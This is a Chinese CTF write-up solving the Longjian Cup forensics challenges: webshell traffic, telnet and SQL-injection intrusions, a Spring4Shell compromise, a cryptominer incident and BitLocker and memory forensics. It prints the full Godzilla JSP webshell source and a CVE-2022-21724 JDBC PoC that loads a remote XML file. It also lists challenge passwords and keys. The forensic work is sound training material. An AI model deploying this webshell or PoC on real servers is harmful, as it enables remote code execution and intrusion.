第二屆隴劍杯 初賽全WP
以前打的比賽寫的WP,整理了一下,純個人理解,WP和附件自取,若有幫助,記得點贊和關注哈:)
hard_web
題目附件:hard_web_99af7443957c71d3961b3e3cc6045f46.zip
- 服務器開放了哪些端口,請按照端口大小順序提交答案,并以英文逗號隔開(如服務器開放了80 81 82 83端口,則答案為80,81,82,83)
首先確定服務器和客戶端的IP

確定是服務器是192.168.162.180客戶端為192.168.162.188,開放端口的話會完成tcp三次握手協議

所以如果成功建立連接的話,服務器會發送一個synack字段
ip.dst == 192.168.162.188 and tcp.connection.synack

所以可以確定開放的端口是80,888,8888
- 服務器中根目錄下的flag值是多少
首先過濾HTTP協議

可以看到shell.jsp,初步判斷是某種webshell

然后這里還列出了webshell的內容

<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
基本就是哥斯拉的webshell,解密的話網上找一個腳本或者使用大廚即可
直接看最后一個請求和響應
請求

響應

最后的flag為flag{9236b29d-5488-41e6-a04b-53b0d8276542}
- 該webshell的連接密碼是多少
倒數第五個請求解密之后可以看到

查看響應

然后md5解密748007e861908c03得到,或者寫腳本爆破MD5也行

看看MD5加密

應該是去了前幾位作為密鑰
所以連接密碼是14mk3y
參考:
Wireshark1
題目附件:wireshark1_dc337306e02806e9e11e650c515bd774.zip
- 被入侵主機的IP是?
分析發現入侵協議是telnet,應該是從哪里知道了賬號密碼之后直接遠程連接23端口了

看內容就知道被入侵主機的IP是192.168.246.28
- 被入侵主機的口令是?
直接追蹤流即可

口令是youcannevergetthis
- 用戶目錄下第二個文件夾的名稱是?
同樣直接追蹤流即可

第二個文件夾的名稱是Downloads
- /etc/passwd中倒數第二個用戶的用戶名是?
同樣直接追蹤流即可

倒數第二個用戶的用戶名是mysql
SmallSword
題目附件:SmallSword_f0255d257b71afd3affd813cf362f025.zip
- 連接蟻劍的正確密碼是______________?
分析流量可以看到

這邊通過sql聯合注入寫了兩個webshell進去
這邊連接蟻劍的密碼都是6ea280898e404bfabd0ebb702327b18f
但是連接利用的時候又變成了

6ea280898e404bfabd0ebb702327b19f
后續還有



一堆疑惑行為,存在多次傳參命令執行
最后嘗試真正的密碼是6ea280898e404bfabd0ebb702327b19f
- 攻擊者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
存留的值大概率是寫入的,分析流量發現最后滴幾個流量在寫入信息

明顯執行文件流,然后字符串可以base64解密,一一解密得到
最后第三個利用webshell的流

向hacker.txt中寫入了ad6269b7-3ce2-4ae8-b97f-f259515e7a91,即為留存的值
然后倒數第二個

這不是火絨嗎,難道是在hack火絨!!!,不過好像是類似一個入侵偽裝吧,木馬文件改名以及修改時間戳。
- 攻擊者下載到的flag是______________?(答案示例:flag3{uuid})
分析info1.php這個webshell沒發現下載相關命令,可能有其他的webshel

這個參數v似乎也能進行命令執行,但是無法解密命令
追蹤流

在隨后的130和137流中發現

明顯是exe文件,我猜測是下載了名為火絨的exe
直接轉16進制搜索exe文件頭
隨后復制一長串用010轉一下得到

直接運行輸出:圖片保存成功:
然后在上一層會輸出一張圖片

010查看發現是png,然后修改高度

發現最后的flag為flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}
ez_web
題目附件:ez_web_e82608071ac21070473ff8c37658e265.zip
- 服務器自帶的后門文件名是什么?
分析流量包可以發現

有個d00r.php可以進行命令執行,但是提交不對,于是猜測hacker就是通過服務器自帶的后門寫入這個webshell的
直接查找d00r.php發現

這里通過a參數利用file_put_contents函數寫入了文件
所以后門文件就是ViewMore.php
- 服務器的內網IP是多少?
由于這里利用了d00r.php的cmd參數進行命令執行

我們直接應用為列進行查看,內網IP的話就重點關注IP相關命令

查看回顯

雙網卡,經過嘗試內網IP是192.168.101.132
- 攻擊者往服務器中寫入的key是什么?
這邊看到

然后嘗試解密

發現是一個zip,然后有密碼,密碼在

大廚直接解密即可

所以寫入的key是7d9ddff2-2d67-4eba-9e48-b91c26c42337
tcpdump
題目附件:easywiki.zip
- 攻擊者通過暴力破解進入了某Wiki 文檔,請給出登錄的用戶名與密碼,以:拼接,比如admin:admin
可以看到


爆破失敗返回的是300,那我們查找200的

追蹤流得到

所以登錄的用戶名與密碼為TMjpxFGQwD:123457
- 攻擊者發現軟件存在越權漏洞,請給出攻擊者越權使用的cookie的內容的md5值
查看cookie

直接把cookie應用為列,然后過濾人眼查看

前面是2后面變1那么越權的應該是1

MD5一下

得到383c74db4e32513daaa1eeb1726d7255
- 攻擊使用jdbc漏洞讀取了應用配置文件,給出配置中的數據庫賬號密碼,以:拼接,比如root:123456
直接搜索jdbc得到如下

配置中的數據庫賬號密碼為springcfg:root,但是不對,然后一一追蹤流在1600流發現

所以配置中的數據庫賬號密碼zyplayer:1234567
- 攻擊者又使用了CVE漏洞攻擊應用,執行系統命令,請給出此CVE編號以及遠程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
發現可疑情況

遠程下載

可以看到遠程下載用的是jdbc:postgresql查找一下
找到一個CVE-2022-21724的POC如下
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
主要利用的是socketFactory與socketFactoryArg這兩個參數
可以看到幾乎一樣

得到CVE-2022-21724:custom.dtd.xml
- 給出攻擊者獲取系統權限后,下載的工具的名稱,比如nmap
同樣一一追蹤流

得到下載的工具名稱fscan_amd64經過嘗試需要去掉版本信息
最后為fscan
hacked
題目附件:hacked_9702a13c99753e97b1c04a3aa687bbd4.zip
- admIn用戶的密碼是什么?
查看

發現用戶名和密碼都是加密的形式,隨后在tcp50流看到加密方式

AES加密
key:l36DoqKUYQP0N7e1IV:131b0c8a7a6e072e
隨后在57流看到

查看56流并解密

得到admIn用戶的密碼flag{WelC0m5_TO_H3re}
- app.config['SECRET_KEY']值為多少?
嘗試直接搜索SECRET_KEY

html解碼

得到SECRET_KEY的值為ssti_flask_hsfvaldb
- flask網站由哪個用戶啟動?
第76流解密得到

發現執行了whoami,但是沒有回顯

但是卻有一個set-cookie
然后解密就得到

可以知道用戶名是red
- 攻擊者寫入的內存馬的路由名叫什么?(答案里不需要加/)
百度一下注入內存馬的方法,參考

查閱發現是調用了add_url_rule函數來添加路由
然后發現81流有點奇怪

解密session

和內存馬完全符合
所以最后的內存馬路徑就是add_url_rule后面的Index
sevrer save
題目附件:SS.zip
解壓密碼為c77ad47ba4c85fae66f08ec12e0085dd
- 黑客是使用什么漏洞來拿下root權限的。格式為:CVE-2020-114514
分析流量


發現可疑字符串,百度一下

得到CVE-2022-22965
- 黑客反彈shell的ip和端口是什么,格式為:10.0.0.1:4444
直接看壓縮包中的文件系統信息helloworld目錄下

然后看bbbb.sh

或者看流量


得到192.168.43.128:2333
- 黑客的病毒名稱是什么? 格式為:filename
可以看到用戶主目錄下

有個mian文件,同時.idea中也存在文件


猜測惡意文件就是mian
- 黑客的病毒運行后創建了什么用戶?請將回答用戶名與密碼:username:password
直接查看一下passwd

再看一下shadow

所以用戶名與密碼為ll:123456
- 服務器在被入侵時外網ip是多少? 格式為:10.10.0.1
直接查看用戶目錄下的.log.txt

得到外網IP為172.105.202.239
- 病毒運行后釋放了什么文件?格式:文件1,文件2
就釋放了.idea下的兩個文件

答案就是lolMiner,mine_doge.sh
- 礦池地址是什么? 格式:domain:1234
直接查看mine_doge.sh

得到礦池地址doge.millpools.cc:5567
- 黑客的錢包地址是多少?格式:xx:xxxxxxxx
同樣

錢包地址為DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9
IncidentResponse
題目附件:太大了,傳不了,一個鏡像文件拿來應急響應
解壓密碼為f0b1ba11478343f404666c355919de3f
題目描述
你是公司的一名安全運營工程師,今日接到外部監管部門通報,你公司網絡出口存在請求挖礦域名的行為。需要立即整改。經過與網絡組配合,你們定位到了請求挖礦域名的內網IP是10.221.36.21。查詢CMDB后得知該IP運行了公司的工時系統。(虛擬機賬號密碼為:root/IncidentResponsePasswd)
- 挖礦程序所在路徑是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
查看一下進程信息

有個redis看看配置文件

這里JSON格式怪怪的,和常規的配置文件不太一樣

后面就更加離譜了,還有pools以及wallet,經典的xmrig挖礦病毒,應該個偽造的redis程序,同時也沒有redis-cli命令行程序
所以挖礦程序所在的路徑就是/etc/redis/redis-server

最后的答案6f72038a870f05cbf923633066e48881
此外我們還可以用7Z拿出ova中的VMDK磁盤文件,然后用取證大師或者R-Studio來恢復我們拿出需要的文件,這樣會更加方便一點,不過就看不了內存中的進程等等信息了,最好仿真和磁盤同時利用
我們恢復取出其中的redis-server檢查一下


直接檢測出了xmrig,一種經典的挖礦病毒
- 挖礦程序連接的礦池域名是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
同樣看配置文件我們就可以知道礦池地址是donate.v2.xmrig.com
查一下


最后的答案3fca20bb92d0ed67714e68704a0a4503
- 攻擊者入侵服務器的利用的方法是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
hint:答案md5值前兩位為3e
由于我們看到該鏡像運行的web服務是一個jar包,那么大概率通過java的方式進行利用然后打進來

當前目錄下有日志,看看日志
利用文件恢復

這兩個文件
反編譯jar包,在pom中看到

版本信息

版本是1.2.4,這個版本是存在shiro反序列化漏洞的
網站框架是網上的renren-security,不過很久沒更新了

看下日志

基本可以確定是shiro550,但是怎么輸入的不對
后面發現英文的可以

最后的答案3ee726cb32f87a15d22fe55fa04c4dcd
- 攻擊者的IP是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
查看ssh的日志

發現存在來自81.70.166.3的暴力破解痕跡,猜測就是攻擊者的IP

取證大師也能看到
隨后變換格式

所以答案就是c76b4b1a5e8c9e7751af4684c6a8b2c9
- 攻擊者發起攻擊時使用的User-Agent是?(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
查看nginx的日志

可以看到攻擊者的UA為Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
變化格式

最后的答案6ba8458f11f4044cce7a621c085bb3c6
- 攻擊者使用了兩種權限維持手段,相應的配置文件路徑是?(md5加密后以a開頭)(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
同樣查看SSH日志

可以發現攻擊者暴力破解無果之后,利用公私鑰成功登錄了系統,應該是通過某種方式寫入了公鑰,配置文件路徑一般都是/root/.ssh/authorized_keys

然后看看格式

所以第一種方式就是利用SSH密鑰進行權限維持
答案為a1fa1b5aeb1f97340032971c342c4258
- 攻擊者使用了兩種權限維持手段,相應的配置文件路徑是?(md5加密后以b開頭)(答案中如有空格均需去除,如有大寫均需變為小寫,使用echo -n 'strings'|md5sum|cut -d ' ' -f1獲取md5值作為答案)
一一檢測常見Linux下的權限維持手段

查看影子賬戶

查看定時任務

查看有無敏感啟動任務

發現一個啟動任務的后門用于重復啟動挖礦程序,所以配置文件的路徑是/lib/systemd/system/redis.service
變換格式

所以最后的答案就是b2c5af8ce08753894540331e5a947d35
baby_forensics
題目附件:BF.zip
解壓密碼為4cf611fce4a2fec305e54c2766b7c860
- 磁盤中的key是多少
直接掛載

發現磁盤用bitlocker加密了,需要解密
嘗試用EFDD解密

發現可以

密鑰的16進制ed9779c500281407fc821a280115b58fbde944e4e3c925a1f7b0c984eb3a1709

亂碼用不了好像
恢復密鑰

得到恢復密鑰560604-255013-655633-128854-663223-316063-484946-476498
然后利用恢復密鑰解密或者用EFDD再次掛載一個解密的盤都可以

打開就能得到key

得到E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d,作為MISC手的直覺一眼像是加密的

rot47解密得到thekeyis2e80307085fd2b5c49c968c323ee25d5
或者不解密磁盤直接去內存中取出解密

所以最后的答案就是2e80307085fd2b5c49c968c323ee25d5
- 電腦中正在運行的計算器的運行結果是多少
先取證一下內存

然后取出進程鏡像

然后用Gimp分析進程內存中的位圖文件,具體原理百度

調了一會終于調出來可,最后的參數如下,可能有很多種參數選擇可以得到上圖

此處之外利用如下命令查看程序窗口句柄信息

然后查找calc程序也能找到

所以答案就是7598632541
- 該內存文件中存在的flag值是多少
繼續取證內存文件

有個便簽程序,取出內存分析一下

然后同樣用Gimp分析

能看出有一段字符串以U2Fsd開頭,可能是AES或者DES rabbit加密,直接Strings大法看一下

得到U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp
補充完善得到
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
還差一個密鑰,文件搜索key/k3y/passwd/等等信息,除此之外好像Gimp繼續翻看內存文件也能得到類似文件的提示

得到一個這個,導出查看一下

猜測是密鑰,AES解密試試

得到flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

浙公網安備 33010602011771號